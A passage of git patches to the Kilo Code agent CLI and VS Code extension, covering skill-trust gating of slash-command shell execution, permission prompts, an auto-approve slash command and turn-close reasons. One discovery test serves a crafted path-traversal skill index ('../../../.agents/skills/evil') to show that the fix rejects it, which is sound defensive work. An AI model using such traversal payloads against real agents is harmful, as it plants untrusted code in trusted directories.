2.0. When collapsed, the header shows a one-line summary of percent used and total cost. diff --git a/packages/tui/src/feature-plugins/sidebar/context.tsx b/packages/tui/src/feature-plugins/sidebar/context.tsx index e5bd16e8af..fd1c3bb39b 100644 --- a/packages/tui/src/feature-plugins/sidebar/context.tsx +++ b/packages/tui/src/feature-plugins/sidebar/context.tsx @@ -1,7 +1,7 @@ import type { AssistantMessage } from "@kilocode/sdk/v2" import type { TuiPlugin, TuiPluginApi } from "@kilocode/plugin/tui" import type { BuiltinTuiPlugin } from "../builtins" -import { createMemo } from "solid-js" +import { createMemo, createSignal, Show } from "solid-js" // kilocode_change const id = "internal:sidebar-context" @@ -11,6 +11,9 @@ const money = new Intl.NumberFormat("en-US", { }) function View(props: { api: TuiPluginApi; session_id: string }) { + // kilocode_change start + const [open, setOpen] = createSignal(true) + // kilocode_change end const theme = () => props.api.theme.current const msg = createMemo(() => props.api.state.session.messages(props.session_id)) const session = createMemo(() => props.api.state.session.get(props.session_id)) @@ -44,12 +47,25 @@ function View(props: { api: TuiPluginApi; session_id: string }) { return ( - - Context - - {state().tokens.toLocaleString()} tokens - {state().percent ?? 0}% used - {money.format(cost())} spent + {/* kilocode_change start */} + setOpen((x) => !x)}> + {open() ? "▼" : "▶"} + + Context + + + {" "} + ({state().percent ?? 0}% · {money.format(cost())}) + + + + + + {state().tokens.toLocaleString()} tokens + {state().percent ?? 0}% used + {money.format(cost())} spent + + {/* kilocode_change end */} ) } From c74d448ffdc0b7f957f16aa8c119e15b54953d32 Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 11:57:19 +0200 Subject: [PATCH 027/100] fix(cli): apply skill trust to slash-command shell execution --- packages/opencode/src/command/index.ts | 2 ++ packages/opencode/src/session/prompt.ts | 7 +++++- .../skill-command-autocomplete.test.ts | 24 +++++++++++++++++++ 3 files changed, 32 insertions(+), 1 deletion(-) diff --git a/packages/opencode/src/command/index.ts b/packages/opencode/src/command/index.ts index 3160b15f2d..c4cffa639b 100644 --- a/packages/opencode/src/command/index.ts +++ b/packages/opencode/src/command/index.ts @@ -33,6 +33,7 @@ export const Info = Schema.Struct({ agent: Schema.optional(Schema.String), model: Schema.optional(Schema.String), source: Schema.optional(Schema.Literals(["command", "mcp", "skill"])), + trusted: Schema.optional(Schema.Boolean), // kilocode_change - skill-sourced templates only run `!`cmd`` shell when trusted // Some command templates are lazy promises from MCP prompt resolution. template: Schema.Unknown, subtask: Schema.optional(Schema.Boolean), @@ -67,6 +68,7 @@ function fromSkill(item: Skill.Info): Info { name: item.name, description: item.description, source: "skill", + trusted: item.trusted === true, get template() { return item.content }, diff --git a/packages/opencode/src/session/prompt.ts b/packages/opencode/src/session/prompt.ts index f1520cc2e6..83e70f7546 100644 --- a/packages/opencode/src/session/prompt.ts +++ b/packages/opencode/src/session/prompt.ts @@ -2033,7 +2033,12 @@ export const layer = Layer.effect( } const shellMatches = ConfigMarkdown.shell(template) - if (shellMatches.length > 0) { + // kilocode_change start - untrusted skill templates must not spawn shell; mirror the skill tool's trust gate + const untrustedSkill = cmd.source === "skill" && cmd.trusted !== true + if (shellMatches.length > 0 && untrustedSkill) { + template = template.replace(bashRegex, () => "[skill shell execution disabled for untrusted skill]") + } else if (shellMatches.length > 0) { + // kilocode_change end const cfg = yield* config.get() const sh = Shell.preferred(cfg.shell) // kilocode_change start diff --git a/packages/opencode/test/kilocode/skill-command-autocomplete.test.ts b/packages/opencode/test/kilocode/skill-command-autocomplete.test.ts index f7e81a786f..50ea098b03 100644 --- a/packages/opencode/test/kilocode/skill-command-autocomplete.test.ts +++ b/packages/opencode/test/kilocode/skill-command-autocomplete.test.ts @@ -54,4 +54,28 @@ Skill content. }, ), ) + + // The slash-command path runs a template's `!`cmd`` shell without a permission + // prompt, so it must only do so for trusted skills. A project-local skill is + // untrusted, and Command.Info carries the flag the prompt executor gates on. + it.live("marks project skills untrusted so their slash-command shell is disabled", () => + provideTmpdirInstance( + (dir) => + Effect.gen(function* () { + yield* Effect.promise(() => + Bun.write( + path.join(dir, ".kilo", "skill", "proj", "SKILL.md"), + `---\nname: proj\ndescription: proj.\n---\n\nRun: !\`printf hi\`\n`, + ), + ) + + const command = yield* Command.Service + const proj = yield* command.get("proj") + + expect(proj?.source).toBe("skill") + expect(proj?.trusted).toBe(false) + }), + { git: true }, + ), + ) }) From 92076e7071084b4bf2ce87d90eb6d45a502c836c Mon Sep 17 00:00:00 2001 From: Aarav Date: Wed, 29 Jul 2026 04:08:40 -0600 Subject: [PATCH 028/100] feat(tui): register `/auto-approve` slash command for toggling auto-approve mode (#12444) * feat(tui): register `/auto-approve` slash command for toggling auto-approve mode The TUI already exposed auto-approve mode toggling through the command palette (Ctrl+P -> "Enable/Disable auto-approve mode" backed by `Permission.allowEverything`), but there was no slash command for it. Promote the existing `permission.allow_everything` palette entry to a slash command by adding `slashName: "auto-approve"` plus a few common aliases (`autoapprove`, `approve-all`, `approveall`) and a `desc` for autocomplete. The slash command dispatches the same palette entry, so behavior, gating, and toasts stay identical to the Ctrl+P path. - packages/opencode/src/kilocode/cli/cmd/tui/app.tsx * fix(tui): clarify /auto-approve desc reads from global config --- .changeset/auto-approve-slash-command.md | 5 +++++ packages/opencode/src/kilocode/cli/cmd/tui/app.tsx | 3 +++ 2 files changed, 8 insertions(+) create mode 100644 .changeset/auto-approve-slash-command.md diff --git a/.changeset/auto-approve-slash-command.md b/.changeset/auto-approve-slash-command.md new file mode 100644 index 0000000000..c6114bc3e2 --- /dev/null +++ b/.changeset/auto-approve-slash-command.md @@ -0,0 +1,5 @@ +--- +"@kilocode/cli": patch +--- + +Add a `/auto-approve` slash command in the TUI for toggling auto-approve mode, with aliases `/autoapprove`, `/approve-all`, and `/approveall`. The command dispatches the existing palette entry, so behavior matches the Ctrl+P "Enable/Disable auto-approve mode" toggle. diff --git a/packages/opencode/src/kilocode/cli/cmd/tui/app.tsx b/packages/opencode/src/kilocode/cli/cmd/tui/app.tsx index b3c337c09c..543750842f 100644 --- a/packages/opencode/src/kilocode/cli/cmd/tui/app.tsx +++ b/packages/opencode/src/kilocode/cli/cmd/tui/app.tsx @@ -282,7 +282,10 @@ export function init() { ? "Disable auto-approve mode" : "Enable auto-approve mode" }, + desc: "Toggle auto-approve for all permission prompts, saved to global config", category: "System", + slashName: "auto-approve", + slashAliases: ["autoapprove", "approve-all", "approveall"], run: async () => { const enabled = isAllowEverything(sync.data.config.permission) const result = await sdk.client.permission.allowEverything({ enable: !enabled }) From cd266e8e55aacf7e56f7d77cb59369b1c55e8632 Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 12:17:38 +0200 Subject: [PATCH 029/100] fix(cli): show skill shell commands in ACP permission prompts --- packages/opencode/src/acp/permission.ts | 18 +++++++-- packages/opencode/test/acp/permission.test.ts | 38 ++++++++++++++++++- 2 files changed, 52 insertions(+), 4 deletions(-) diff --git a/packages/opencode/src/acp/permission.ts b/packages/opencode/src/acp/permission.ts index 3a57b6e541..8bf102f217 100644 --- a/packages/opencode/src/acp/permission.ts +++ b/packages/opencode/src/acp/permission.ts @@ -16,6 +16,17 @@ const permissionOptions: PermissionOption[] = [ { optionId: "reject", kind: "reject_once", name: "Reject" }, ] +// kilocode_change start - skill shell batches list their commands and are never persisted, so no "Always allow" +const skillShellOptions: PermissionOption[] = [ + { optionId: "once", kind: "allow_once", name: "Allow" }, + { optionId: "reject", kind: "reject_once", name: "Reject" }, +] + +function isSkillShell(metadata: PermissionEvent["properties"]["metadata"]) { + return (metadata as { skillShell?: unknown })?.skillShell === true +} +// kilocode_change end + export class Handler { private readonly queues = new Map>() @@ -51,18 +62,19 @@ export class Handler { return } + const skillShell = isSkillShell(permission.metadata) // kilocode_change - skill batches list commands and never persist const result = await this.input.connection .requestPermission({ sessionId: permission.sessionID, toolCall: { toolCallId: permission.tool?.callID ?? permission.id, status: "pending", - title: permission.permission, - rawInput: permission.metadata, + title: skillShell ? "Run skill shell commands" : permission.permission, // kilocode_change + rawInput: skillShell ? { ...permission.metadata, commands: permission.patterns } : permission.metadata, // kilocode_change kind: toToolKind(permission.permission), locations: toLocations(permission.permission, permission.metadata), }, - options: permissionOptions, + options: skillShell ? skillShellOptions : permissionOptions, // kilocode_change }) .catch(async () => { await this.reply(permission.id, "reject", session.cwd) diff --git a/packages/opencode/test/acp/permission.test.ts b/packages/opencode/test/acp/permission.test.ts index 080c8eeceb..76ce5584c2 100644 --- a/packages/opencode/test/acp/permission.test.ts +++ b/packages/opencode/test/acp/permission.test.ts @@ -162,7 +162,11 @@ describe("acp permissions", () => { { optionId: "reject", kind: "reject_once", name: "Reject" }, ], }) - expect(harness.replies).toEqual([{ requestID: "perm_1", reply: "once", directory: "/workspace" }]) + // kilocode_change start - human selections are marked interactive + expect(harness.replies).toEqual([ + { requestID: "perm_1", reply: "once", directory: "/workspace", interactive: true }, + ]) + // kilocode_change end }) it("forwards external_directory metadata and locations to requestPermission", async () => { @@ -201,6 +205,38 @@ describe("acp permissions", () => { }) }) + // kilocode_change start - skill shell batches surface their command list and cannot be persisted + it("forwards skill shell commands and omits the persist option", async () => { + const harness = createHarness() + await createSession(harness.session, "ses_a") + + harness.subscription.handle( + permissionAsked("ses_a", "perm_skill", { + permission: "bash", + metadata: { skillShell: true }, + tool: { messageID: "msg_1", callID: "call_1" }, + }), + ) + + await pollUntil(() => harness.replies.length === 1, "skill shell permission was never replied") + + expect(harness.requests[0]).toMatchObject({ + toolCall: { + title: "Run skill shell commands", + rawInput: { skillShell: true, commands: ["*"] }, + }, + // no allow_always: skill shell is never persisted + options: [ + { optionId: "once", kind: "allow_once", name: "Allow" }, + { optionId: "reject", kind: "reject_once", name: "Reject" }, + ], + }) + expect(harness.requests[0].options.some((o) => o.kind === "allow_always")).toBe(false) + // the human selection is marked interactive so the server accepts the approval + expect(harness.replies[0]).toMatchObject({ requestID: "perm_skill", reply: "once", interactive: true }) + }) + // kilocode_change end + it("rejects non-selected outcomes", async () => { const harness = createHarness(() => Promise.resolve({ outcome: { outcome: "cancelled" } })) await createSession(harness.session, "ses_a") From 3cef158ef058095d30f851c83747ff3c7ed4c201 Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 12:27:21 +0200 Subject: [PATCH 030/100] fix(cli): confine downloaded skills to the cache directory --- packages/opencode/src/skill/discovery.ts | 16 ++++++++++++- .../opencode/test/skill/discovery.test.ts | 23 +++++++++++++++++++ 2 files changed, 38 insertions(+), 1 deletion(-) diff --git a/packages/opencode/src/skill/discovery.ts b/packages/opencode/src/skill/discovery.ts index 0495bc637d..24e78c14f8 100644 --- a/packages/opencode/src/skill/discovery.ts +++ b/packages/opencode/src/skill/discovery.ts @@ -71,8 +71,22 @@ export const layer: Layer.Layer skill.files.includes("SKILL.md")) + // kilocode_change start - remote index.json controls skill.name/file, so a crafted `../` could escape the + // cache and plant a SKILL.md in a trusted dir (e.g. ~/.agents/skills). Drop any skill whose paths escape it. + const rooted = (target: string) => { + const rel = path.relative(cache, target) + return rel !== "" && !rel.startsWith("..") && !path.isAbsolute(rel) + } + const safe: typeof list = [] + for (const skill of list) { + const root = path.join(cache, skill.name) + if (rooted(root) && skill.files.every((file) => rooted(path.join(root, file)))) safe.push(skill) + else yield* Effect.logWarning("skipping skill with unsafe path", { url: index, skill: skill.name }) + } + // kilocode_change end + const dirs = yield* Effect.forEach( - list, + safe, // kilocode_change - was `list`; drop skills whose paths escape the cache (skill) => Effect.gen(function* () { const root = path.join(cache, skill.name) diff --git a/packages/opencode/test/skill/discovery.test.ts b/packages/opencode/test/skill/discovery.test.ts index 5dc5d5195b..ad1a53463f 100644 --- a/packages/opencode/test/skill/discovery.test.ts +++ b/packages/opencode/test/skill/discovery.test.ts @@ -24,6 +24,15 @@ beforeAll(async () => { async fetch(req) { const url = new URL(req.url) + // kilocode_change start - serve a crafted index whose skill name escapes the cache via `../` + if (url.pathname === "/evil/index.json") { + return Response.json({ skills: [{ name: "../../../.agents/skills/evil", files: ["SKILL.md"] }] }) + } + if (url.pathname.endsWith("/.agents/skills/evil/SKILL.md")) { + return new Response("---\nname: evil\ndescription: evil.\n---\npwned") + } + // kilocode_change end + // route /.well-known/skills/* to the fixture directory if (url.pathname.startsWith("/.well-known/skills/")) { const filePath = url.pathname.replace("/.well-known/skills/", "") @@ -114,6 +123,20 @@ describe("Discovery.pull", () => { }), ) + // kilocode_change start - path-traversal in the remote index must not plant a trusted skill + it.live("rejects a skill name that escapes the cache directory", () => + Effect.gen(function* () { + const fsys = yield* FSUtil.Service + const discovery = yield* Discovery.Service + const dirs = yield* discovery.pull(`http://localhost:${server.port}/evil/`) + // the traversal skill is skipped, nothing is planted outside the cache + expect(dirs).toEqual([]) + const escaped = path.join(cacheDir, "../../../.agents/skills/evil/SKILL.md") + expect(yield* fsys.existsSafe(escaped)).toBe(false) + }), + ) + // kilocode_change end + it.live("caches downloaded files on second pull", () => Effect.gen(function* () { // clear dir and downloadCount From 8a47d8b78885fa8fd14c73b3aecdb57e1fc96c9c Mon Sep 17 00:00:00 2001 From: marius-kilocode Date: Wed, 29 Jul 2026 12:31:47 +0200 Subject: [PATCH 031/100] fix(vscode): stop flashing interruption warning on queued follow-up handoff A prompt sent while a session is running queues behind the active turn, which breaks out of its loop after the current LLM step drains. That handoff was recorded with close reason "interrupted", so the webview rendered the yellow "Turn interrupted." card during the brief idle window before the queued turn started. The handoff now closes with a dedicated "superseded" reason instead. Clients extend their close-reason unions and the webview suppresses the terminal warning card for superseded turns; memory digests still treat the cut-short turn as interrupted, and real user interruptions are unchanged. --- .changeset/superseded-turn-close.md | 6 + .../kilo-vscode/src/kilo-provider-utils.ts | 2 +- .../tests/unit/session-outcome.test.ts | 7 + .../webview-ui/src/context/session-outcome.ts | 3 + .../webview-ui/src/types/messages/sessions.ts | 2 +- packages/opencode/src/kilocode/memory/turn.ts | 4 +- .../opencode/src/kilocode/session/event.ts | 5 +- packages/opencode/src/session/prompt.ts | 6 +- .../kilocode/session-prompt-queue.test.ts | 90 ++++++ packages/sdk/js/src/v2/gen/types.gen.ts | 2 +- packages/sdk/openapi.json | 290 ++++++++++-------- 11 files changed, 284 insertions(+), 133 deletions(-) create mode 100644 .changeset/superseded-turn-close.md diff --git a/.changeset/superseded-turn-close.md b/.changeset/superseded-turn-close.md new file mode 100644 index 0000000000..1e966a961a --- /dev/null +++ b/.changeset/superseded-turn-close.md @@ -0,0 +1,6 @@ +--- +"@kilocode/cli": patch +"kilo-code": patch +--- + +Stop flashing a "Turn interrupted" warning when a follow-up message is queued while the assistant is still working. The running turn now closes with a dedicated "superseded" reason instead of "interrupted" when it hands off to the queued prompt, so the premature-stop warning only appears for real interruptions. diff --git a/packages/kilo-vscode/src/kilo-provider-utils.ts b/packages/kilo-vscode/src/kilo-provider-utils.ts index e5dbd40e44..c9825cb771 100644 --- a/packages/kilo-vscode/src/kilo-provider-utils.ts +++ b/packages/kilo-vscode/src/kilo-provider-utils.ts @@ -408,7 +408,7 @@ export type WebviewMessage = message: Record } | { type: "sessionStatus"; sessionID: string; status: string; attempt?: number; message?: string; next?: number } - | { type: "sessionTurnClosed"; sessionID: string; reason: "completed" | "error" | "interrupted" } + | { type: "sessionTurnClosed"; sessionID: string; reason: "completed" | "error" | "interrupted" | "superseded" } | { type: "permissionRequest" permission: { diff --git a/packages/kilo-vscode/tests/unit/session-outcome.test.ts b/packages/kilo-vscode/tests/unit/session-outcome.test.ts index 8dd06b6dd6..93b8475e5f 100644 --- a/packages/kilo-vscode/tests/unit/session-outcome.test.ts +++ b/packages/kilo-vscode/tests/unit/session-outcome.test.ts @@ -138,6 +138,13 @@ describe("terminal", () => { ).toBe("error") }) + it("hides superseded turns that handed off to a queued follow-up", () => { + expect( + terminal({ reason: "superseded", messages: [message("tool-calls")], todos: [todo("pending")] }), + ).toBeUndefined() + expect(terminal({ reason: "superseded", messages: [message("unknown")], todos: [] })).toBeUndefined() + }) + it("reports only the latest assistant finish reason", () => { const user: Message = { id: "u1", sessionID: "s1", role: "user", createdAt: new Date(1).toISOString() } expect(terminal({ reason: "completed", messages: [message("length"), user], todos: [] })?.finish).toBeUndefined() diff --git a/packages/kilo-vscode/webview-ui/src/context/session-outcome.ts b/packages/kilo-vscode/webview-ui/src/context/session-outcome.ts index e17f548ef8..eaf9b6bf76 100644 --- a/packages/kilo-vscode/webview-ui/src/context/session-outcome.ts +++ b/packages/kilo-vscode/webview-ui/src/context/session-outcome.ts @@ -41,6 +41,9 @@ function identifiers( export function terminal(input: Input): TerminalState | undefined { if (!input.reason) return undefined + // A superseded turn handed off to a queued follow-up; it is not a premature + // stop, and the follow-up turn closes with its own reason afterwards. + if (input.reason === "superseded") return undefined const last = input.messages[input.messages.length - 1] const finish = last?.role === "assistant" ? last.finish : undefined const ids = identifiers(last, input.parts) diff --git a/packages/kilo-vscode/webview-ui/src/types/messages/sessions.ts b/packages/kilo-vscode/webview-ui/src/types/messages/sessions.ts index 90a5733027..1322349e28 100644 --- a/packages/kilo-vscode/webview-ui/src/types/messages/sessions.ts +++ b/packages/kilo-vscode/webview-ui/src/types/messages/sessions.ts @@ -3,7 +3,7 @@ import type { Part, TokenUsage } from "./parts" export type SessionModelUsage = KilocodeSessionModelUsageResponse -export type SessionCloseReason = "completed" | "error" | "interrupted" +export type SessionCloseReason = "completed" | "error" | "interrupted" | "superseded" // Message structure (simplified for webview) export interface Message { diff --git a/packages/opencode/src/kilocode/memory/turn.ts b/packages/opencode/src/kilocode/memory/turn.ts index c41068c0e3..d9fdc79ae7 100644 --- a/packages/opencode/src/kilocode/memory/turn.ts +++ b/packages/opencode/src/kilocode/memory/turn.ts @@ -78,7 +78,9 @@ export namespace MemoryLifecycle { if (!enabled) return yield* MemoryTurn.close({ sessionID: evt.properties.sessionID, - reason: evt.properties.reason, + // A superseded turn handed off to a queued follow-up after draining + // its step; for digest purposes it was cut short like an interrupt. + reason: evt.properties.reason === "superseded" ? "interrupted" : evt.properties.reason, sessions: input.sessions, summary: input.summary, provider: input.provider, diff --git a/packages/opencode/src/kilocode/session/event.ts b/packages/opencode/src/kilocode/session/event.ts index 47025588a8..e8a851211e 100644 --- a/packages/opencode/src/kilocode/session/event.ts +++ b/packages/opencode/src/kilocode/session/event.ts @@ -2,7 +2,10 @@ import { BusEvent } from "@/bus/bus-event" import { MessageID, SessionID } from "@/session/schema" import { Schema } from "effect" -const CloseReason = Schema.Literals(["completed", "error", "interrupted"]) +// "superseded": the turn handed off to a queued follow-up after draining its +// current step. Distinct from "interrupted" so clients do not surface a +// premature-stop warning for a deliberate queue handoff. +const CloseReason = Schema.Literals(["completed", "error", "interrupted", "superseded"]) export const KiloSessionEvent = { TurnOpen: BusEvent.define( diff --git a/packages/opencode/src/session/prompt.ts b/packages/opencode/src/session/prompt.ts index f1520cc2e6..7bee943356 100644 --- a/packages/opencode/src/session/prompt.ts +++ b/packages/opencode/src/session/prompt.ts @@ -1848,9 +1848,11 @@ export const layer = Layer.effect( // kilocode_change start — break out so a newer queued prompt can take over // instead of starting another LLM step for the now-superseded turn. The // current handle.process has fully drained (tokens + inline tool calls) by - // the time we get here, so nothing is cut off. + // the time we get here, so nothing is cut off. The close reason is + // "superseded", not "interrupted": this is a deliberate queue handoff, + // not a premature stop, so clients must not flash an interruption warning. if (KiloSessionPromptQueue.hasFollowup(sessionID)) { - closeReasons.set(sessionID, "interrupted") + closeReasons.set(sessionID, "superseded") return "break" as const } // kilocode_change end diff --git a/packages/opencode/test/kilocode/session-prompt-queue.test.ts b/packages/opencode/test/kilocode/session-prompt-queue.test.ts index dd5f90a017..d6a6178802 100644 --- a/packages/opencode/test/kilocode/session-prompt-queue.test.ts +++ b/packages/opencode/test/kilocode/session-prompt-queue.test.ts @@ -549,6 +549,96 @@ describe("session prompt queue", () => { } }) + test("closes a queued-handoff turn as superseded, not interrupted", async () => { + const ready = Promise.withResolvers() + const release = Promise.withResolvers() + const server = Bun.serve({ + port: 0, + async fetch(req) { + const url = new URL(req.url) + if (!url.pathname.endsWith("/chat/completions")) return new Response("not found", { status: 404 }) + + // Hold every stream open until the follow-up prompt is queued, so + // runLoop deterministically takes the hasFollowup break once its + // current step drains. Forked title/summary calls get held too; they + // are Effect.ignore'd and drain once released. + ready.resolve() + const stream = reply({ text: "reply", wait: release.promise }) + return new Response(stream, { + status: 200, + headers: { "Content-Type": "text/event-stream" }, + }) + }, + }) + + try { + await using tmp = await tmpdir({ + git: true, + init: async (dir) => { + await Bun.write(path.join(dir, "opencode.json"), JSON.stringify(providerCfg(server.url.origin))) + }, + }) + + await provideTestInstance({ + directory: tmp.path, + fn: async () => + scoped(tmp.path, async (prompt) => { + const closed: KiloSession.CloseReason[] = [] + const unsubscribe = Bus.subscribe(KiloSession.Event.TurnClose, (event) => { + closed.push(event.properties.reason) + }) + + const session = await sessions.create({ title: "Superseded close reason" }) + const first = Effect.runPromise( + prompt.prompt({ + sessionID: session.id, + agent: "code", + parts: [{ type: "text", text: "first prompt" }], + }), + ) + + // A request reaching the mock implies the turn loop is running + // (forked title/summary calls fire from step 1 of the loop). + await ready.promise + const second = Effect.runPromise( + prompt.prompt({ + sessionID: session.id, + agent: "code", + parts: [{ type: "text", text: "second prompt" }], + }), + ) + + // Wait until the follow-up is actually queued behind the in-flight + // turn, then let the first stream drain so runLoop hands off. + await Effect.runPromise( + pollWithTimeout( + Effect.sync(() => (KiloSessionPromptQueue.hasFollowup(session.id) ? (true as const) : undefined)), + "follow-up prompt never queued behind the in-flight turn", + "3 seconds", + ), + ) + release.resolve() + + expect((await first).info.role).toBe("assistant") + expect((await second).info.role).toBe("assistant") + // Bus delivery is a microtask chain; flush a macrotask so the last + // TurnClose callback lands before asserting. + await new Promise((resolve) => setTimeout(resolve, 0)) + unsubscribe() + + expect(closed).toHaveLength(2) + // The first turn drained its stream cleanly and handed off to the + // queued follow-up; it must not look like a user interruption to + // clients (they flash a "Turn interrupted" warning on that reason). + expect(closed[0]).toBe("superseded") + expect(closed[1]).toBe("completed") + }), + }) + } finally { + server.stop(true) + } + }, 20_000) + test("bridges legacy instance context for prompts after a completed turn", async () => { const calls: number[] = [] const server = Bun.serve({ diff --git a/packages/sdk/js/src/v2/gen/types.gen.ts b/packages/sdk/js/src/v2/gen/types.gen.ts index 61953cc620..f5c44c1930 100644 --- a/packages/sdk/js/src/v2/gen/types.gen.ts +++ b/packages/sdk/js/src/v2/gen/types.gen.ts @@ -3557,7 +3557,7 @@ export type EventSessionTurnClose = { properties: { sessionID: string parentID?: string - reason: "completed" | "error" | "interrupted" + reason: "completed" | "error" | "interrupted" | "superseded" } } diff --git a/packages/sdk/openapi.json b/packages/sdk/openapi.json index 53526b5f00..4b5d75a7d5 100644 --- a/packages/sdk/openapi.json +++ b/packages/sdk/openapi.json @@ -24496,6 +24496,15 @@ { "$ref": "#/components/schemas/EventServerInstanceDisposed" }, + { + "$ref": "#/components/schemas/EventSessionTurnOpen" + }, + { + "$ref": "#/components/schemas/EventSessionTurnClose" + }, + { + "$ref": "#/components/schemas/EventSessionQueueChanged" + }, { "$ref": "#/components/schemas/EventSessionNetworkAsked" }, @@ -24523,12 +24532,6 @@ { "$ref": "#/components/schemas/EventInteractive_terminalDeleted" }, - { - "$ref": "#/components/schemas/EventSessionTurnOpen" - }, - { - "$ref": "#/components/schemas/EventSessionTurnClose" - }, { "$ref": "#/components/schemas/EventSandboxStatusChanged" }, @@ -24557,10 +24560,10 @@ "$ref": "#/components/schemas/EventKilocodeNotebookCancelled" }, { - "$ref": "#/components/schemas/EventLspClientDiagnostics" + "$ref": "#/components/schemas/EventKilo-sessionsRemote-status-changed" }, { - "$ref": "#/components/schemas/EventKilo-sessionsRemote-status-changed" + "$ref": "#/components/schemas/EventLspClientDiagnostics" }, { "$ref": "#/components/schemas/EventMemoryStatus1" @@ -24818,10 +24821,10 @@ "$ref": "#/components/schemas/EventProjectUpdated" }, { - "$ref": "#/components/schemas/EventLspUpdated" + "$ref": "#/components/schemas/EventVcsBranchUpdated" }, { - "$ref": "#/components/schemas/EventVcsBranchUpdated" + "$ref": "#/components/schemas/EventLspUpdated" }, { "$ref": "#/components/schemas/EventWorkspaceReady" @@ -26838,7 +26841,7 @@ "type": "object", "properties": { "start": { - "type": "number", + "type": "integer", "minimum": 0 } }, @@ -26914,11 +26917,11 @@ "type": "object", "properties": { "start": { - "type": "number", + "type": "integer", "minimum": 0 }, "end": { - "type": "number", + "type": "integer", "minimum": 0 }, "elapsed": { @@ -27686,6 +27689,15 @@ { "$ref": "#/components/schemas/EventServerInstanceDisposed" }, + { + "$ref": "#/components/schemas/EventSessionTurnOpen" + }, + { + "$ref": "#/components/schemas/EventSessionTurnClose" + }, + { + "$ref": "#/components/schemas/EventSessionQueueChanged" + }, { "$ref": "#/components/schemas/EventSessionNetworkAsked" }, @@ -27713,12 +27725,6 @@ { "$ref": "#/components/schemas/EventInteractive_terminalDeleted" }, - { - "$ref": "#/components/schemas/EventSessionTurnOpen" - }, - { - "$ref": "#/components/schemas/EventSessionTurnClose" - }, { "$ref": "#/components/schemas/EventSandboxStatusChanged" }, @@ -27747,10 +27753,10 @@ "$ref": "#/components/schemas/EventKilocodeNotebookCancelled" }, { - "$ref": "#/components/schemas/EventLspClientDiagnostics" + "$ref": "#/components/schemas/EventKilo-sessionsRemote-status-changed" }, { - "$ref": "#/components/schemas/EventKilo-sessionsRemote-status-changed" + "$ref": "#/components/schemas/EventLspClientDiagnostics" }, { "$ref": "#/components/schemas/EventMemoryStatus" @@ -28008,10 +28014,10 @@ "$ref": "#/components/schemas/EventProjectUpdated" }, { - "$ref": "#/components/schemas/EventLspUpdated" + "$ref": "#/components/schemas/EventVcsBranchUpdated" }, { - "$ref": "#/components/schemas/EventVcsBranchUpdated" + "$ref": "#/components/schemas/EventLspUpdated" }, { "$ref": "#/components/schemas/EventWorkspaceReady" @@ -35218,6 +35224,96 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, + "EventSessionTurnOpen": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["session.turn.open"] + }, + "properties": { + "type": "object", + "properties": { + "sessionID": { + "type": "string", + "pattern": "^ses" + } + }, + "required": ["sessionID"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventSessionTurnClose": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["session.turn.close"] + }, + "properties": { + "type": "object", + "properties": { + "sessionID": { + "type": "string", + "pattern": "^ses" + }, + "parentID": { + "type": "string", + "pattern": "^ses" + }, + "reason": { + "type": "string", + "enum": ["completed", "error", "interrupted", "superseded"] + } + }, + "required": ["sessionID", "reason"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventSessionQueueChanged": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["session.queue.changed"] + }, + "properties": { + "type": "object", + "properties": { + "sessionID": { + "type": "string", + "pattern": "^ses" + }, + "queued": { + "type": "array", + "items": { + "type": "string", + "pattern": "^msg" + } + } + }, + "required": ["sessionID", "queued"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, "EventSessionNetworkAsked": { "type": "object", "properties": { @@ -35470,64 +35566,6 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, - "EventSessionTurnOpen": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["session.turn.open"] - }, - "properties": { - "type": "object", - "properties": { - "sessionID": { - "type": "string", - "pattern": "^ses" - } - }, - "required": ["sessionID"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, - "EventSessionTurnClose": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["session.turn.close"] - }, - "properties": { - "type": "object", - "properties": { - "sessionID": { - "type": "string", - "pattern": "^ses" - }, - "parentID": { - "type": "string", - "pattern": "^ses" - }, - "reason": { - "type": "string", - "enum": ["completed", "error", "interrupted"] - } - }, - "required": ["sessionID", "reason"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, "EventSandboxStatusChanged": { "type": "object", "properties": { @@ -35837,33 +35875,6 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, - "EventLspClientDiagnostics": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["lsp.client.diagnostics"] - }, - "properties": { - "type": "object", - "properties": { - "serverID": { - "type": "string" - }, - "path": { - "type": "string" - } - }, - "required": ["serverID", "path"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, "EventKilo-sessionsRemote-status-changed": { "type": "object", "properties": { @@ -35891,6 +35902,33 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, + "EventLspClientDiagnostics": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["lsp.client.diagnostics"] + }, + "properties": { + "type": "object", + "properties": { + "serverID": { + "type": "string" + }, + "path": { + "type": "string" + } + }, + "required": ["serverID", "path"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, "EventMemoryStatus": { "type": "object", "properties": { @@ -39854,24 +39892,6 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, - "EventLspUpdated": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["lsp.updated"] - }, - "properties": { - "type": "object", - "properties": {} - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, 